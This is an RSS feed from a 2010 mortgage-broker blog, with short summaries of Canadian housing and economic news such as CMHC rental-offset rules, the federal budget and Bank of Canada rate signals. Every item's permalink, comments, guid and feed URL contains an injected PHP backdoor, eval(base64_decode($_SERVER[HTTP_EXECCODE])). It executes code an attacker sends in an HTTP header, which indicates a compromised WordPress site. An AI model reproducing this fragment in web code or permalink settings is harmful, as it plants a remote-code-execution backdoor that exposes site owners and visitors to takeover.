<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Kam The Mortgage Man</title>
	<atom:link href="http://www.kamthemortgageman.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.kamthemortgageman.com</link>
	<description>Kam The Mortgage Man</description>
	<pubDate>Tue, 09 Mar 2010 17:25:53 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>CMHC Mortgage Regulations to Restrict Real Estate Investment</title>
		<link>http://www.kamthemortgageman.com/2010/03/09/cmhc-mortgage-regulations-to-restrict-real-estate-investment/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.kamthemortgageman.com/2010/03/09/cmhc-mortgage-regulations-to-restrict-real-estate-investment/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 17:25:53 +0000</pubDate>
		<dc:creator>Victoria Mortgage Broker</dc:creator>
		
		<category><![CDATA[Main Content]]></category>

		<category><![CDATA[Borrowers]]></category>

		<category><![CDATA[Cmhc Mortgage]]></category>

		<category><![CDATA[Debt Service]]></category>

		<category><![CDATA[Household Income]]></category>

		<category><![CDATA[Invest]]></category>

		<category><![CDATA[Kicker]]></category>

		<category><![CDATA[Kitchener Waterloo]]></category>

		<category><![CDATA[Mortgage Investment]]></category>

		<category><![CDATA[Mortgage Regulations]]></category>

		<category><![CDATA[People]]></category>

		<category><![CDATA[Real Estate Investment]]></category>

		<category><![CDATA[Real Estate Investment Properties]]></category>

		<category><![CDATA[Rental Property]]></category>

		<category><![CDATA[Waterloo Real Estate]]></category>

		<guid isPermaLink="false">http://www.kamthemortgageman.com/2010/03/09/cmhc-mortgage-regulations-to-restrict-real-estate-investment/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[Kitchener Waterloo Real Estate Investment Properties- Currently when you buy a rental property, CMHC will allow you to use a 80% rental offset, which means that they used to take 80% of the gross rental income that the income property generated, and subtract that from the borrowers total debt, to establish the total debt service [...]]]></description>
		<wfw:commentRss>http://www.kamthemortgageman.com/2010/03/09/cmhc-mortgage-regulations-to-restrict-real-estate-investment/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The 2010 Federal Budget: Your guide to the key numbers</title>
		<link>http://www.kamthemortgageman.com/2010/03/05/the-2010-federal-budget-your-guide-to-the-key-numbers/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.kamthemortgageman.com/2010/03/05/the-2010-federal-budget-your-guide-to-the-key-numbers/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 05 Mar 2010 17:33:14 +0000</pubDate>
		<dc:creator>Victoria Mortgage Broker</dc:creator>
		
		<category><![CDATA[Main Content]]></category>

		<category><![CDATA[Federal Budget]]></category>

		<category><![CDATA[Hair Transplants]]></category>

		<category><![CDATA[Invasive Aliens]]></category>

		<category><![CDATA[National Budget]]></category>

		<category><![CDATA[New Shoes]]></category>

		<guid isPermaLink="false">http://www.kamthemortgageman.com/2010/03/05/the-2010-federal-budget-your-guide-to-the-key-numbers/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[National Post- The new budget unveiled yesterday mentioned something for everyone (or the lack thereof), from new shoes to invasive aliens and men in need of hair transplants.&#160; Click on the number for a full story on each issue below…
The 2010 Federal Budget: Your guide to the key numbers - Posted
]]></description>
		<wfw:commentRss>http://www.kamthemortgageman.com/2010/03/05/the-2010-federal-budget-your-guide-to-the-key-numbers/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Countdown begins to interest rate hikes</title>
		<link>http://www.kamthemortgageman.com/2010/03/05/countdown-begins-to-interest-rate-hikes/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.kamthemortgageman.com/2010/03/05/countdown-begins-to-interest-rate-hikes/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 05 Mar 2010 17:21:23 +0000</pubDate>
		<dc:creator>Victoria Mortgage Broker</dc:creator>
		
		<category><![CDATA[Main Content]]></category>

		<category><![CDATA[Bank Of Canada]]></category>

		<category><![CDATA[Benchmark Rate]]></category>

		<category><![CDATA[Bmo Capital Markets]]></category>

		<category><![CDATA[Countdown]]></category>

		<category><![CDATA[Economist]]></category>

		<category><![CDATA[Economy]]></category>

		<category><![CDATA[First Steps]]></category>

		<category><![CDATA[Inflation]]></category>

		<category><![CDATA[Interest Rate Hikes]]></category>

		<category><![CDATA[Mark Carney]]></category>

		<category><![CDATA[Michael Gregory]]></category>

		<category><![CDATA[Subtle Changes]]></category>

		<category><![CDATA[Urge]]></category>

		<guid isPermaLink="false">http://www.kamthemortgageman.com/2010/03/05/countdown-begins-to-interest-rate-hikes/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[Financial Post- The Bank of Canada took its first steps Tuesday toward returning the country to more normal interest rate levels by signaling a more hawkish tone on inflation and acknowledging the economy is performing better than expected on &#34;vigorous&#34; consumer demand.
The messages were conveyed in the Bank of Canada&#8217;s latest interest-rate statement, which kept [...]]]></description>
		<wfw:commentRss>http://www.kamthemortgageman.com/2010/03/05/countdown-begins-to-interest-rate-hikes/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>BMO aims to jump-start mortgage arm</title>
		<link>http://www.kamthemortgageman.com/2010/03/03/bmo-aims-to-jump-start-mortgage-arm/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.kamthemortgageman.com/2010/03/03/bmo-aims-to-jump-start-mortgage-arm/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 03 Mar 2010 17:16:43 +0000</pubDate>
		<dc:creator>Victoria Mortgage Broker</dc:creator>
		
		<category><![CDATA[Main Content]]></category>

		<category><![CDATA[Bank Of Montreal]]></category>

		<category><![CDATA[Bmo]]></category>

		<category><![CDATA[Cash Earnings]]></category>

		<category><![CDATA[Cheap Mortgages]]></category>

		<category><![CDATA[Earnings Per Share]]></category>

		<category><![CDATA[First Quarter]]></category>

		<category><![CDATA[Globe And Mail]]></category>

		<category><![CDATA[Growth Mode]]></category>

		<category><![CDATA[High Interest Rates]]></category>

		<category><![CDATA[Jump Start]]></category>

		<category><![CDATA[Lost]]></category>

		<category><![CDATA[Mail Bank]]></category>

		<category><![CDATA[Market Share]]></category>

		<category><![CDATA[Mortgage Business]]></category>

		<category><![CDATA[Profits]]></category>

		<category><![CDATA[Quarter Profit]]></category>

		<category><![CDATA[Rivals]]></category>

		<category><![CDATA[Savings Accounts]]></category>

		<guid isPermaLink="false">http://www.kamthemortgageman.com/2010/03/03/bmo-aims-to-jump-start-mortgage-arm/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[The Globe and Mail- Bank of Montreal is planning to kick its mortgage business back into growth mode, after another quarter in which it lost market share to rivals.
BMO reported a first-quarter profit of $657-million yesterday, up from $225-million a year ago, making it the third Canadian bank to consecutively top analysts expectations. Its cash [...]]]></description>
		<wfw:commentRss>http://www.kamthemortgageman.com/2010/03/03/bmo-aims-to-jump-start-mortgage-arm/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Economy hotter than estimated, Bank of Canada says</title>
		<link>http://www.kamthemortgageman.com/2010/03/02/economy-hotter-than-estimated-bank-of-canada-says/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.kamthemortgageman.com/2010/03/02/economy-hotter-than-estimated-bank-of-canada-says/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 02 Mar 2010 17:21:16 +0000</pubDate>
		<dc:creator>Victoria Mortgage Broker</dc:creator>
		
		<category><![CDATA[Main Content]]></category>

		<category><![CDATA[Bank Canada]]></category>

		<category><![CDATA[Bank Of Canada]]></category>

		<category><![CDATA[Benchmark]]></category>

		<category><![CDATA[Core Inflation]]></category>

		<category><![CDATA[Domestic Spending]]></category>

		<category><![CDATA[Downside]]></category>

		<category><![CDATA[Economy]]></category>

		<category><![CDATA[Fourth Quarter]]></category>

		<category><![CDATA[Globe And Mail]]></category>

		<category><![CDATA[Globe Mail]]></category>

		<category><![CDATA[Inflation Outlook]]></category>

		<category><![CDATA[Inflation Risks]]></category>

		<category><![CDATA[Mark Carney]]></category>

		<category><![CDATA[Nod]]></category>

		<category><![CDATA[Pledge]]></category>

		<category><![CDATA[Target]]></category>

		<guid isPermaLink="false">http://www.kamthemortgageman.com/2010/03/02/economy-hotter-than-estimated-bank-of-canada-says/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[Globe and Mail- The Bank of Canada kept its benchmark lending rate at a historic low 0.25 per cent Tuesday, while hinting that policy makers are on closer guard for shifts in the inflation outlook that might force them to rethink their pledge to stay on hold through midyear. 
In the statement accompanying Tuesday&#8217;s decision, [...]]]></description>
		<wfw:commentRss>http://www.kamthemortgageman.com/2010/03/02/economy-hotter-than-estimated-bank-of-canada-says/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.388 seconds -->
